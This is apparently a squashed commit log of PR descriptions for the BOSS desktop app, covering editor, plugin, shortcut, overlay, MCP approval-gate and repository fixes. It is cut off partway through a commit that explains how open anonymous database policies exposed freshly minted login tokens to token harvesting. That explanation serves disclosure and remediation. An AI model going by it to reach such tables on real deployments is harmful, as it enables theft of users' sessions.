than forty ids the other table had (fortran, delphi, latex, lisp, tcl, clojure, batch, diff, ...) (#75). Moves the table into a new plugin-platform/plugin-language-types module - dependency-free by design, so it carries nothing extra into boss-app-editor's native-image build - and has both EditorLanguages and EditorServiceImpl read from it. This is the first time anything under modules/ depends on plugin-platform/; verified compiling and passing tests before committing to the approach. EditorLanguages keeps its existing public API unchanged (same values for every extension), so FileTypeCategoriesTest and EditorLanguageDetectionTest needed no changes. EditorServiceImpl keeps its own "proto"->"protobuf" entry and "plaintext" fallback as local additions on top of the shared table, rather than folding them into it: proto isn't part of the boss-file-types.json default-app-association surface the shared table backs, and "plaintext" is this service's own gRPC default, not a value composeApp reads. Adds LanguageIdsTest (the new module) and EditorServiceImplTest (previously no tests existed for this class at all) - the latter pins the actual bug fix, that detectLanguage("sh") now returns "bash" instead of "shell". Out of scope, and disclosed rather than silently dropped: two of the five duplicate tables the issue names - the editor-tab plugin's own LanguageDetection and BossEditor's lexer registry - live in separate repositories this build cannot reach. FileIcons.forSpecialFileName/forFile in plugin-icons is also not consolidated: it keys icon selection off the raw filename to preserve distinctions a language id can't carry (package.json, yarn.lock and pnpm-lock.yaml are all valid JSON/YAML but get three different brand icons) and never computes a language id in the first place, so routing it through this table would need a separate icon-selection redesign. * fix(language): keep file-association drift checks on the shared table * fix(language): apply shared filename rules to editor file opens --------- Co-authored-by: Shivang * fix(editor): contain write-local stack overflow and preserve fatal errors (#396) * Make writeFileContentSafe actually safe: catch the Errors it was named for `writeFileContentSafe` exists to return false rather than throw. It did not hold that contract: } catch (e: Exception) { fileIoLogger.warn(LogCategory.EDITOR, "Error writing file", error = e) false } StackOverflowError is an Error, not an Exception, so it went straight through - out of writeFileContent, out of the editor_write_file MCP handler, and to the caller as a bare StackOverflowError instead of the handler's own "Write failed for ". The warn that would have named the file never ran either. That is not hypothetical. risa-labs-inc/boss-plugin-editor-tab#18 and #27 are two independent reports of it, on unrelated content, and #27's complaint is precisely the missing diagnosis: the error "gives no indication of which input caused it". StackOverflowError and OutOfMemoryError are caught explicitly rather than widening to Throwable. A stack overflow unwinds and leaves the JVM usable, and readFileContentSafe in this same file already treats OutOfMemoryError as a reportable outcome. Throwable would also absorb LinkageError and ThreadDeath, which are not this function's to swallow - there is a test asserting a NoClassDefFoundError still propagates. The failure log now names the path and the character count. Not the content: these writes carry whatever the user is editing. **This does not fix the write.** Whatever recurses is upstream of this function, which is mkdirs plus writeText - I ruled out the plugin's handler, this write, and the host's MCP argument parsing, and said so on the issue. What changes is that the failure is reported honestly instead of escaping, which is where a diagnosis can start. The body moves to `guardedWrite` with an injectable write, because a test JVM cannot be made to overflow the stack inside writeText on demand. Verified: 3729 tests, 0 failures, plus ktlintCheck and detekt. Refs risa-labs-inc/boss-plugin-editor-tab#18, #27. Co-Authored-By: Claude Opus 5 * docs(editor): clarify write guard scope and prior recursion fix * fix(editor): preserve fatal heap errors in write guard --------- Co-authored-by: Claude Opus 5 Co-authored-by: Shivang * fix(state): apply version-checked JSON merge patches (#361) * Fix: Implement proper ISO timestamp parsing in PluginStoreClient * Feature: Implement JSON Merge Patch for plugin delta state synchronization * fix(state): validate delta bases and exclude duplicate timestamp scope * fix(state): reject malformed and deeply nested patches --------- Co-authored-by: Shivang * :arrow_up: deps:(deps): Bump grpc from 1.83.1 to 1.84.0 (#363) Bumps `grpc` from 1.83.1 to 1.84.0. Updates `io.grpc:grpc-netty` from 1.83.1 to 1.84.0 - [Release notes](https://github.com/grpc/grpc-java/releases) - [Commits](https://github.com/grpc/grpc-java/compare/v1.83.1...v1.84.0) Updates `io.grpc:grpc-protobuf` from 1.83.1 to 1.84.0 - [Release notes](https://github.com/grpc/grpc-java/releases) - [Commits](https://github.com/grpc/grpc-java/compare/v1.83.1...v1.84.0) Updates `io.grpc:grpc-stub` from 1.83.1 to 1.84.0 - [Release notes](https://github.com/grpc/grpc-java/releases) - [Commits](https://github.com/grpc/grpc-java/compare/v1.83.1...v1.84.0) Updates `io.grpc:grpc-services` from 1.83.1 to 1.84.0 - [Release notes](https://github.com/grpc/grpc-java/releases) - [Commits](https://github.com/grpc/grpc-java/compare/v1.83.1...v1.84.0) Updates `io.grpc:grpc-util` from 1.83.1 to 1.84.0 - [Release notes](https://github.com/grpc/grpc-java/releases) - [Commits](https://github.com/grpc/grpc-java/compare/v1.83.1...v1.84.0) --- updated-dependencies: - dependency-name: io.grpc:grpc-netty dependency-version: 1.84.0 dependency-type: direct:production update-type: version-update:semver-minor - dependency-name: io.grpc:grpc-protobuf dependency-version: 1.84.0 dependency-type: direct:production update-type: version-update:semver-minor - dependency-name: io.grpc:grpc-stub dependency-version: 1.84.0 dependency-type: direct:production update-type: version-update:semver-minor - dependency-name: io.grpc:grpc-services dependency-version: 1.84.0 dependency-type: direct:production update-type: version-update:semver-minor - dependency-name: io.grpc:grpc-util dependency-version: 1.84.0 dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> Co-authored-by: Shivang * :arrow_up: deps:(deps): Bump protobuf from 4.36.0 to 4.36.1 (#364) Bumps `protobuf` from 4.36.0 to 4.36.1. Updates `com.google.protobuf:protobuf-kotlin` from 4.36.0 to 4.36.1 Updates `com.google.protobuf:protobuf-java` from 4.36.0 to 4.36.1 - [Release notes](https://github.com/protocolbuffers/protobuf/releases) - [Commits](https://github.com/protocolbuffers/protobuf/commits) --- updated-dependencies: - dependency-name: com.google.protobuf:protobuf-kotlin dependency-version: 4.36.1 dependency-type: direct:production update-type: version-update:semver-patch - dependency-name: com.google.protobuf:protobuf-java dependency-version: 4.36.1 dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> Co-authored-by: Shivang * fix(plugins): defer stale jar cleanup until restart (#340) * fix(plugins): defer stale jar cleanup until restart * fix(plugins): satisfy quality checks * Preserve staged plugin artifacts when another plugin updates * Require cleanup intent and retain artifacts with unordered manifest versions --------- Co-authored-by: ayush Co-authored-by: Shivang * fix(plugins): defer fluck-browser hot-reload to a restart (#352) * fix(plugins): defer stale jar cleanup until restart * fix(plugins): defer fluck-browser hot-reload to a restart Hot-reloading fluck-browser force-unloads the classloader that created its JxBrowser native views. Every open tab - and every tab opened afterward, since the factory that would recreate the view is gone too - draws an empty box, and a second hot-reload does not recover it; only a full restart does. HotReloadPolicy names plugins that must never be swapped in place, matching the existing NOT_USER_INSTALLABLE/RetiredPlugins pattern. It's checked at every path that can force-unload a live plugin to apply an update: the resetPluginInstances/doReloadPlugin path that actually reproduced this bug, the menu-driven Reload action, the Toolbox update flow, and the store installer. For a not-hot-reloadable plugin, the new jar is staged into installed.json without touching the running instance or its open tabs, and a status message tells the user to restart to apply it - the next cold start loads the update with a fresh classloader. Also fixes two call sites that asked "restart dependent plugins?" before checking whether an unload was even going to happen, which produced a confusing prompt for an unload that a deferred update was never going to do. * fix(plugins): satisfy quality checks * Preserve staged plugin artifacts when another plugin updates * Validate deferred browser artifacts and reject ineffective downgrades * Require cleanup intent and retain artifacts with unordered manifest versions * Preserve unloaded-browser recovery and unify safe deferred selection * Format scoped update cleanup integration --------- Co-authored-by: ayush Co-authored-by: Shivang * Harden OOP plugin reaping: hook-race flag, registry cleanup, spawn guard (#135) (#365) * Harden OOP plugin reaping: hook-race flag, registry cleanup, spawn guard (#135) reapDepth (AtomicInteger) replaces the boolean reaping flag, so the two JVM shutdown hooks (main.kt and KernelBootstrap) cannot clear the in-progress signal while the other is still reaping (item 2). reapChildren now unregisters reaped handles from the process-wide ProcessRegistry, so stale dead entries do not persist across an in-process mode switch (item 4). OutOfProcessPluginSpawnerImpl.spawn() stands down when isReaping(), so a plugin load racing host exit cannot register a child after the reap snapshot (item 3). Covered by ReapChildrenTest. * Serialize plugin spawn registration with reaping and preserve replacement handles * Fence late process creation without blocking shutdown and cover recovery --------- Co-authored-by: Shivang * fix(plugins): complete loader cleanup after disposal linkage errors (#302) * fix: API hot swap during startup * fix: workflows * resolved comments by maintainer * fix CI and build * Scope disposal error resilience and cover loader cleanup after linkage failure --------- Co-authored-by: Shivang * Fix shortcut rebinding key storage (#329) (#335) * #329 - Fix: store key names when rebinding shortcuts * Fold the key spellings Compose renders but the AWT interceptor does not BOSS maintains two key-name vocabularies over one keyboard. `AWTKeyboardInterceptor.getKeyName` names a physical key one way; Compose's `Key.toString()`, which is where `KeymapMatcher` and the Shortcuts screen both get a name, names it another. Neither list is derived from the other, and where they disagree a chord fires on one path and silently does nothing on the other. They had drifted on fourteen keys. Nine are reachable in a running app, because `Key.toString()` falls through to AWT's `getKeyText`, which answers with the macOS glyph once the toolkit is up: Enter, Escape, Tab, Backspace, Delete, Home, End, PageUp and PageDown. So `KeymapMatcher` was asking whether the glyph was "Tab" and being told no, which takes out Ctrl+Tab and Ctrl+Shift+Tab (TAB_NEXT and TAB_PREVIOUS) in all four shipped presets. They survive only on the AWT interceptor, which says "Tab" on both sides. The other five are the cold-JVM spellings the same call renders before the toolkit is up (`Back Slash`, `Quote`, `Back Quote`, `Page Up`, `Page Down`), not reachable in a running app but folded for the same reason. This is the shape `Left`/`DirectionLeft` and the bracket pair already were, so the fix is entries in the table those live in rather than a new mechanism. Also here, because the divergence is what they are about: - `composeKeyName` is the one place that reads a name out of `Key.toString()`. `KeymapMatcher.keyMatches` had its own copy of that parse, and two copies is how one path came to know a spelling the other did not. - `KeyVocabularyAgreementTest` walks the two tables key by key over all 73 bindable keys. Only the pairing of a Compose `Key` to its AWT keycode is hand-written, since that is the identity of the key itself; both vocabularies are read from the code under test, so the next divergence fails a build rather than a keystroke. A second test asserts the fold does not collapse keys that are distinct, which asserting agreement alone would pass without. - `CanonicalKeyNameTest` enumerates the glyph and spaced spellings, because the agreement test's input is whatever the environment renders and a cold run cannot reach the glyphs. `getKeyName` becomes `internal` so the test can read it; the two detekt baseline entries are rekeyed for the visibility change, with the function unchanged. Verified warm and cold: 3705 tests in :composeApp:desktopTest, plus ktlintCheck and detekt. Mutation-checked - reverting the new aliases fails the agreement test and names every key it lost. Co-Authored-By: Claude Opus 5 * Store a folded key name on capture, and repair the keymaps that hold a keyCode Completes #329, on top of the one-line capture fix in #335. which is the right shape and stops new rebinds being dead. Its own description records the rest as future work: the keymaps already on disk still hold numeric keys, and nothing tests it. This is that rest. **Fold the name before storing it.** The raw rendering is not the presets' vocabulary and it is not stable. The left arrow renders "Left" against the presets' "DirectionLeft", the right bracket "Close Bracket" against "CloseBracket", the 1 key "1" against "One" - all of which MATCH through the alias table, none of which DISPLAY the same, because `formatKeyDisplay` knows "directionleft" and not "left". Stored raw, a rebound arrow lists as "⌘LEFT" beside a preset's "⌘←". And `Key.toString()` falls through to AWT's `getKeyText`, which answers with a word while the toolkit is cold and the macOS glyph once it is up, so the same user rebinding Tab gets "Tab" or the glyph depending on nothing they did. `storedKeyName` folds through `canonicalKeyName` first, which makes a rebind indistinguishable from a preset binding: same match, same signature, same rendering, and deterministic. **Existing keymaps are handled twice, deliberately.** `canonicalKeyName` resolves a stored keyCode so an unmigrated file keeps matching, AND the settings migration rewrites it so the file stops holding a ten-digit key. Either alone is not enough: the migration cleans one file, and a keymap restored from a backup, copied off another machine, or exported and re-imported reaches the matchers before it reaches the migration. **The repair runs before `migrateSettings`' chord arithmetic**, which is what lets #322's drop-on-conflict guard see a UI rebind at all. While those signed as a numeric key, `chordHolders` produced a signature no preset chord could equal, so a keymap whose owner had rebound an action through the UI read as not claiming that chord and the guard handed a new action straight onto it. #322's own motivating example is "someone who rebound panel.navigate_right", which is a UI rebind: the guard was protecting hand-edited files and not the ones made in the app. Two smaller things: - The dialog's preview was rendering the raw keyCode too. It had a private copy of the display formatter, and now renders the exact `KeyStroke` that Apply persists, so the preview cannot disagree with what is saved. - `KeyBinding.fromComposeKey` had the same `key.keyCode.toString()` line. It has no caller today, which is exactly why it would have outlived the fix. Answering the question the issue leaves open: yes, the Shortcuts screen's own tester reports these, so it reproduces without a build change. `ShortcutTestRunner.validateKeyName` reaches its "Unknown key name" branch and the row goes red. Verified: 3705 tests in :composeApp:desktopTest, plus ktlintCheck and detekt. Co-Authored-By: Claude Opus 5 * Preserve MoveHome and MoveEnd aliases from PR #405 Extract the additional Home/End property-name aliases and assertions from #405. Maintainer integration retains home/end as canonical spellings for the existing vocabulary. * Keep unrecognised legacy key codes intact during repair * Exercise warm toolkit key names and correct rendering comments * Keep shortcut capture consumers consistent and reject modifier-only captures * Keep import regression setup readable * Order warm-toolkit test imports per repository style * Recognise unknown-key diagnostics independently of their localized prefix * Wrap modifier key lists for quality gates * Share the dispatcher modifier and lock-key exclusions with capture * Use public shortcut equality in the formatted menu regression test * Preserve malformed native codes instead of storing invalid Unicode * Cover the new dev chrome-density shortcut in capture round trips --------- Co-authored-by: Arjun Singla Co-authored-by: Claude Opus 5 Co-authored-by: Antriksh1984 Co-authored-by: Shivang * fix: make sidecar backfill lifecycle reliable (#347) * fix: make sidecar backfill lifecycle reliable * test(plugins): format sidecar backfill tests * fix(plugins): keep backfill persistence on IO and cover lifecycle transitions * fix(plugins): retry interrupted auth backfill and dispatch the full drain on IO * style(plugins): format sidecar coordinator declarations * style(plugins): keep unsigned predicate within line limit * style(plugins): wrap unsigned predicate expression * style(plugins): name the current stamp in unsigned predicate --------- Co-authored-by: ayush Co-authored-by: Shivang * fix: await SupabaseConfig initialization before syncing plugin manifest (#366) * fix: await SupabaseConfig initialization before syncing plugin manifest * style: fix ktlint import order for java.io.File * fix(plugin): wait for SupabaseConfig before starting the manifest sync SystemPluginManifestService.startSync() ran its startup fetch and Realtime subscription before SupabaseConfig finished its own async initialize() call in the Compose UI layer, so both routines' first attempt hit SupabaseConfig.client's "not initialized" throw: a startup warning for the fetch, and an unnecessary first trip through the subscription's backoff retry loop before it ever connects (#370). SupabaseConfig.isInitialized already exists as a StateFlow for exactly this. Both of startSync's launched coroutines now suspend on it once, before touching the client, replacing a guaranteed-to-fail-once startup path with a wait for the real precondition. The existing "catch up on (re)connect" comment in subscribeToChanges - added because this same race could also just lose - stays accurate; this closes the race rather than only compensating for it afterward. Test exercises the actual mechanism: a coroutine awaiting SupabaseConfig.isInitialized genuinely suspends (verified via TestCoroutineScheduler.runCurrent(), not a coroutine that was merely scheduled and never run) until initialize() is called, then resolves. * Isolate manifest readiness regressions from stored auth sessions * Test manifest readiness without singleton side effects --------- Co-authored-by: Antriksh1984 Co-authored-by: Shivang * Fix heavyweight modals dismissing destructively on focus loss (#152) (#353) * Fix heavyweight modals dismissing destructively on focus loss (#152) Extending LocalHeavyweightOverlays to the whole BossWindow content routed several dialogs through HeavyweightModal, which dismisses whenever focus leaves the application (oppositeWindow == null). Two dialogs dismiss to a destructive action, so this was a regression: - MemoryPressureNoticeDialog dismisses to acknowledge(), clearing the once-per-session notice and its restart offer unread on an alt-tab away. - ScreenCapturePickerDialog dismisses to cancel the capture request, so switching to the window you want to share silently killed the share. Add an internal LocalDismissModalOnFocusLoss CompositionLocal (default true) that the two dialogs set to false, honoured in shouldDismissOnFocusLoss. This suppresses only the focus-loss path - Escape and the scrim still dismiss deliberately. Kept host-side rather than as a BossDialog/modalRenderer parameter because those signatures are pinned by the binary-compatibility validator and would need a coordinated api-then-host release; both callers are host dialogs in composeApp. Covered by HeavyweightOverlayTest. * fix(overlays): address dismissal review and pin destructive dialog wiring * style(overlays): order dialog property import * style(overlays): wrap dismissal wiring assertion * style(overlays): import the regression fixture root helper --------- Co-authored-by: Shivang * Fix toast overlay clipping content at its first-frame size (#154) (#354) * Fix toast overlay clipping content at its first-frame size (#154) HeavyweightCorner measured its content against a ceiling of min(initialSize, region), so the toast overlay's 432x600 initialSize doubled as a hard clip. Three verbose toasts can exceed 600dp, and because the overlay window is content-sized the overflow is not cosmetic: the bottom toast's dismiss button lands outside the window, unclickable, on the INDEFINITE path where dismissing is the only way out, so the toast is genuinely stuck. measuredAgainst already decoupled measurement from the window's current size, so the two uses of the initial size no longer need to be one number. Size the ceiling to the parent region instead (regionCeiling), leaving initialSize as only the small first-frame placeholder. Content now grows the window up to what the parent can actually show rather than being clipped. Other callers are unaffected: intrinsically-sized content measures the same, it just stops being capped below the parent. Covered by HeavyweightCornerTest; HeavyweightCornerSizingTest's ratchet guarantees are unchanged. * test(overlays): measure content beyond the initial toast window height * docs(overlays): update all first-frame sizing contracts --------- Co-authored-by: Shivang * Overlay follow-ups: popup measure guards, anchor diagnostic, dialog a11y (#143) (#367) * Overlay follow-ups: popup measure guards, anchor diagnostic, dialog a11y (#143) Equality guards on BossPopup's measuredWidthPx/anchorPositionPx make onGloballyPositioned/layout writes no-ops in the steady state instead of a redundant compose-measure-layout pass per frame during a window drag. AnchorBounds popups that never measure report once via BossOverlayHost.reportUnmeasuredAnchor() after a grace period. The modal card declares semantics { dialog() } and swallows clicks with detectTapGestures instead of clickable, so a screen reader announces a dialog rather than a button; the scrim dismiss also moves to detectTapGestures so IsDialog is not merged under a clickable ancestor (which crashed the modal). BossAlertCard drops the header spacer for a buttons-only card (alertHeaderSpacerVisible); AlertWidth renamed ALERT_WIDTH. Covered by BossAlertCardSpacerTest, ScrimmedModalSemanticsTest, and the existing ModalInputArmingTest/BossAlertCardLayoutTest. * fix(overlays): refresh scrim dismissal callback after recomposition * fix(overlays): remove redundant measurement reads and cover card taps --------- Co-authored-by: Shivang * fix(plugin-ui-core): guard write-once overlay registry fields (#369) * fix(plugin-ui-core): stop redundant popup recomposition and guard write-once overlay registry fields Two non-blocking follow-ups from the HARDWARE dialog sweep (#143). BossDialog wrote measuredWidthPx and anchorPositionPx unconditionally from layout {} / onGloballyPositioned, and both are read during composition - so an unchanged value still invalidated composition from inside layout on every pass, costing a redundant composition-measure- layout cycle per frame for every open BossPopup during e.g. a window- resize drag. Both writes are now equality-guarded, a no-op once the value stops moving. BossOverlayHost.{useHeavyweightOverlays,modalRenderer,popupRenderer, diagnostics} are public mutable statics the KDoc calls host-owned and write-once, on a singleton shared across the host and every in-process plugin - but nothing enforced it, so one plugin line could reinstate the occluded-dialog bug this file exists to fix. Each now locks to its first write (via a custom setter, so the JVM descriptor - and so binary compatibility with the boss-plugin-api mirror - is unchanged) and reports a duplicate write through diagnostics instead of silently accepting it. openHeavyweightPopups is deliberately left alone: its own KDoc documents it as a running counter across a popup's lifetime, not a one-time registration, and a write-once guard would freeze it at whatever the first popup left it. Co-Authored-By: Claude Sonnet 5 * test(overlays): isolate write-once registry fixtures and remove duplicate popup edits * fix(overlays): register diagnostics first and verify both startup modes --------- Co-authored-by: Claude Sonnet 5 Co-authored-by: Shivang * fix(plugin-api-core): guard against host/api divergence in duplicated packages (#368) * fix(plugin-api-core): guard against host/api divergence in duplicated packages ai.rever.boss.plugin.{logging,bookmark,workspace,browser,scrollbar,ui, tab.terminal} each exist twice: once in the host modules, once inside boss-plugin-api, what plugins actually compile against. The host's copy shadows the api's parent-first inside plugin classloaders, so a plugin whose bytecode references a member the api has and the host lacks fails to link at runtime rather than at compile time - already the cause of two incidents (secret-manager 1.2.6/1.2.7, unloadable on every host with only "ComponentLogger.$stable: field not found" as a clue). LoggingStableFieldTest, BookmarkStableFieldTest and WorkspaceStableFieldTest each pin the one field that has actually bitten us. Nothing pinned the general case: an added method or a changed signature in either copy breaks a plugin the same way and would be diagnosed from scratch. ApiPackageDivergenceTest diffs the host's copies against the pinned release jar plugin-api-core's own build already downloads (fetchApiPluginJar), for every public, non-synthetic member of the seven packages actually duplicated (verified against the real jar's contents, not guessed from the issue's approximate count) - not ai.rever.boss.plugin.api itself, which is filtered from that same jar so it cannot diverge from itself, and not ai.rever.boss.plugin.bundled, which is api-only. Co-Authored-By: Claude Sonnet 5 * fix(plugin-api): cover callable ABI and preserve PanelConfig linkage * fix(tests): compile legacy serialization bridge and satisfy lint * test(plugin-api): address review and verify loader isolation --------- Co-authored-by: Claude Sonnet 5 Co-authored-by: Shivang * fix(gate): surface remedy success and handle in-flight update states (#378) * fix(gate): handle updateHost success and in-flight download states * style(gate): resolve detekt LongMethod and ReturnCount violations - Extracted PluginLoadGateHeader to reduce PluginLoadGateBody length under 60 lines. - Refactored updateHost to use a single return expression, eliminating multiple exit points and fixing line length limits. * fix(gate): complete header extraction and validate update remedy state * fix(gate): retain rollback and report installation progress accurately * fix(gate): explain the install step after downloading BOSS * style(gate): apply ktlint and wrap detekt overlong lines --------- Co-authored-by: Shivang * Make MCP search rows open Toolbox for kill-switches (#380) (#382) * Make MCP search rows open Toolbox for kill-switches (#380) Agent-less operators could find mcp__boss__* tools in double-shift search but selecting a row did nothing. Wire selection to reveal Toolbox (plugin-manager) and document the minimum attach / kill-switch path. * fix(search): validate MCP navigation and clarify Toolbox hint * fix(search): report unavailable Toolbox for MCP selections --------- Co-authored-by: Shivang * # Governed Autonomy for MCP tools: approval gate and audit ledger (#371) * feat(mcp): implement Governed Autonomy with Operation Ledger and ASK mode approval gate - Add McpPolicy and McpPolicyEngine with fail-closed configuration and session trust - Add McpApprovalBus and McpApprovalDialog for non-blocking interactive tool approval - Add McpOperationLedger with size-based file rotation (10 MB x 5) and sensitive argument masking via LogSanitizer - Integrate policy checks, coroutine approval gate, and ledger journaling into McpToolRegistryCore.invoke - Add UI wiring in BossAppState, BossAppEventBusEffects, BossAppDialogs, and BossBottomBar - Add comprehensive unit tests covering policy, approval, ledger rotation, and registry invoke integration * fix(mcp): address review findings across approval gate, policy engine, and ledger * fix(mcp): avoid length-based over-redaction of tool arguments McpOperationLedger and McpApprovalDialog sanitized arguments through LogSanitizer.sanitizeMap, which masks any string value 20+ characters long regardless of content. That defeated the stated goal of keeping long file paths, URLs, and shell commands readable in the audit log and, worse, in the approval dialog an operator relies on to decide whether to approve a mutating call. McpArgumentSanitizer replaces that path for both call sites: a value is now only masked when its key names it as sensitive, or its shape is unambiguously a credential (JWT, GitHub token, sk_/pk_ vendor key). Adds a test proving shape-based masking still catches a credential under a non-sensitive key name, and renames the existing redaction test to match. Also reorders two imports in BossAppDialogs.kt that were out of alphabetical order and would fail ktlintCheck. Co-Authored-By: Claude Sonnet 5 * fix(mcp): repair governed dispatch and cancellation audit guarantees * fix(mcp): address governed autonomy review defects --------- Co-authored-by: Claude Sonnet 5 Co-authored-by: Shivang * Stop the Shortcuts tester reporting working shortcuts as broken (#375) (#376) * Fold the key spellings Compose renders but the AWT interceptor does not BOSS maintains two key-name vocabularies over one keyboard. `AWTKeyboardInterceptor.getKeyName` names a physical key one way; Compose's `Key.toString()`, which is where `KeymapMatcher` and the Shortcuts screen both get a name, names it another. Neither list is derived from the other, and where they disagree a chord fires on one path and silently does nothing on the other. They had drifted on fourteen keys. Nine are reachable in a running app, because `Key.toString()` falls through to AWT's `getKeyText`, which answers with the macOS glyph once the toolkit is up: Enter, Escape, Tab, Backspace, Delete, Home, End, PageUp and PageDown. So `KeymapMatcher` was asking whether the glyph was "Tab" and being told no, which takes out Ctrl+Tab and Ctrl+Shift+Tab (TAB_NEXT and TAB_PREVIOUS) in all four shipped presets. They survive only on the AWT interceptor, which says "Tab" on both sides. The other five are the cold-JVM spellings the same call renders before the toolkit is up (`Back Slash`, `Quote`, `Back Quote`, `Page Up`, `Page Down`), not reachable in a running app but folded for the same reason. This is the shape `Left`/`DirectionLeft` and the bracket pair already were, so the fix is entries in the table those live in rather than a new mechanism. Also here, because the divergence is what they are about: - `composeKeyName` is the one place that reads a name out of `Key.toString()`. `KeymapMatcher.keyMatches` had its own copy of that parse, and two copies is how one path came to know a spelling the other did not. - `KeyVocabularyAgreementTest` walks the two tables key by key over all 73 bindable keys. Only the pairing of a Compose `Key` to its AWT keycode is hand-written, since that is the identity of the key itself; both vocabularies are read from the code under test, so the next divergence fails a build rather than a keystroke. A second test asserts the fold does not collapse keys that are distinct, which asserting agreement alone would pass without. - `CanonicalKeyNameTest` enumerates the glyph and spaced spellings, because the agreement test's input is whatever the environment renders and a cold run cannot reach the glyphs. `getKeyName` becomes `internal` so the test can read it; the two detekt baseline entries are rekeyed for the visibility change, with the function unchanged. Verified warm and cold: 3705 tests in :composeApp:desktopTest, plus ktlintCheck and detekt. Mutation-checked - reverting the new aliases fails the agreement test and names every key it lost. Co-Authored-By: Claude Opus 5 * Stop the Shortcuts tester reporting working shortcuts as broken `ShortcutTestRunner.validateKeyName` kept its own hand-written set of valid key names - the fourth copy of the key vocabulary in the codebase, and the only one nothing tested. It had drifted, and step 4 of the tester turned that drift into a hard FAILED. Fifteen keys the interceptor dispatches were reported as "Unknown key name 'X' - won't match user input" on a shortcut that fires: - every function key, F1 through F12 - Home, End, PageUp, PageDown - the character spellings the fold has always accepted ("-", "=", "/" and the rest), which were reported with the confident and wrong advice "Key name should be 'Minus' not '-'" - the spellings Compose renders, both cold ("Back Slash", "Quote", "Page Up") and the macOS glyphs a running app produces The list is replaced by `isKnownKeyName`, which folds through `canonicalKeyName` against `KNOWN_KEY_NAMES` in the model - one vocabulary, beside the fold that already reconciles the other three. The verdict also softens to a note. "Will this key match" is not knowable from the name alone: `canonicalKeyName` folds an unknown name onto itself, and the keyboard has keys outside the interceptor's table (F13 and up, the keypad) that AWT still names. So an unrecognised name now says it is unrecognised alongside the result, and the test does not fail on it. Reporting a working shortcut as broken is worse than saying nothing, and that is the failure this PR is about. `ShortcutTesterKeyNamesTest` pins the vocabulary in both directions: every key the interceptor names is recognised, and nothing is claimed as known that no key produces. The second half is what stops the set being padded into passing the first. Every shipped preset binding is covered, and a name nothing can produce is still called out, so removing the false failures did not remove the check. Verified: 3705 tests in :composeApp:desktopTest, plus ktlintCheck and detekt. Mutation-checked - restoring the two omissions the old list had (the function keys, and Home/End/PageUp/PageDown) fails the test and names all sixteen. Co-Authored-By: Claude Opus 5 * review: keep a real verdict for a key stored as a raw key code Self-review of the change above found that softening step 4 to a note went one case too far. A key stored as a packed `Key.keyCode` is the one thing that IS decidable from the name alone, and it is decidably broken: no matcher compares against a number, so the binding fires on neither path. That is what every rebind made in the Shortcuts screen wrote before #329, which makes it the population most likely to be on this screen in the first place - and they would have been shown a green row with a parenthetical note. It keeps FAILED, with advice that holds either way: a keymap carrying a raw key code is worth re-recording whether or not the fold currently resolves it. Also drops a guarantee two comments claimed and the tests do not give. The test drives the interceptor's table through a hand-written list of key codes, so a key added to that table alone is checked by nothing. Reading the `when` itself would need reflection over a private table; saying so is better than asserting an invariant that is not enforced. Co-Authored-By: Claude Opus 5 * #329 - Fix: store key names when rebinding shortcuts * Fold the key spellings Compose renders but the AWT interceptor does not BOSS maintains two key-name vocabularies over one keyboard. `AWTKeyboardInterceptor.getKeyName` names a physical key one way; Compose's `Key.toString()`, which is where `KeymapMatcher` and the Shortcuts screen both get a name, names it another. Neither list is derived from the other, and where they disagree a chord fires on one path and silently does nothing on the other. They had drifted on fourteen keys. Nine are reachable in a running app, because `Key.toString()` falls through to AWT's `getKeyText`, which answers with the macOS glyph once the toolkit is up: Enter, Escape, Tab, Backspace, Delete, Home, End, PageUp and PageDown. So `KeymapMatcher` was asking whether the glyph was "Tab" and being told no, which takes out Ctrl+Tab and Ctrl+Shift+Tab (TAB_NEXT and TAB_PREVIOUS) in all four shipped presets. They survive only on the AWT interceptor, which says "Tab" on both sides. The other five are the cold-JVM spellings the same call renders before the toolkit is up (`Back Slash`, `Quote`, `Back Quote`, `Page Up`, `Page Down`), not reachable in a running app but folded for the same reason. This is the shape `Left`/`DirectionLeft` and the bracket pair already were, so the fix is entries in the table those live in rather than a new mechanism. Also here, because the divergence is what they are about: - `composeKeyName` is the one place that reads a name out of `Key.toString()`. `KeymapMatcher.keyMatches` had its own copy of that parse, and two copies is how one path came to know a spelling the other did not. - `KeyVocabularyAgreementTest` walks the two tables key by key over all 73 bindable keys. Only the pairing of a Compose `Key` to its AWT keycode is hand-written, since that is the identity of the key itself; both vocabularies are read from the code under test, so the next divergence fails a build rather than a keystroke. A second test asserts the fold does not collapse keys that are distinct, which asserting agreement alone would pass without. - `CanonicalKeyNameTest` enumerates the glyph and spaced spellings, because the agreement test's input is whatever the environment renders and a cold run cannot reach the glyphs. `getKeyName` becomes `internal` so the test can read it; the two detekt baseline entries are rekeyed for the visibility change, with the function unchanged. Verified warm and cold: 3705 tests in :composeApp:desktopTest, plus ktlintCheck and detekt. Mutation-checked - reverting the new aliases fails the agreement test and name… * fix(repository): a cancelled store call is not a network failure (#531) * fix(repository): a cancelled store call is not a network failure; apply downloadPlugin's rule to every store call * test(repository): pin propagation and the ratePlugin path; fix stale call-site comments Claude review follow-up on #531, on top of aryanbajaj868's fix: - RemotePluginRepositoryCancellationTest: ratePlugin is driven by the held server too (it refuses before a request without an access token; a.b.c is a structurally valid three-part token with no admin claim), and every store call is now asserted to propagate the caller's CancellationException out of the method, not merely to stay out of the log - a swallowed cancellation is also no ERROR line, so the log assertion alone cannot see that half. - onStoreFailure moved into the Helper Functions section; the test server's single dispatch thread is documented. - Three call-site comments (StoreMissingDependencyInstaller, PluginStoreVersionBridge, PluginLoadGateRecovery) restated their rationale: the bundled repository now rethrows a caller's cancellation, but the PluginRepository interface permits either shape, so the flattened handling and the rethrow guards stay. --------- Co-authored-by: Shivang * Restrict completed_authentications to the service-role Edge Function (#536) * Restrict completed_authentications to the service-role Edge Function completed_authentications holds the freshly minted access_token and refresh_token for the cross-device (QR) login handoff. Its anon policies were each guarded only by `session_id IS NOT NULL`, and session_id is NOT NULL on every real row, so all three were `USING (true)` written the long way. Nothing required the caller to know a session id, so the "unguessable UUID acts as a bearer token" model the surrounding comments describe was never enforced. With `GRANT ALL ON TABLE ... TO anon` and an anon key that is public by construction (it ships in the desktop app and this repo is open source), that was reachable by anyone who can reach PostgREST: 1. Token harvest. Selecting the 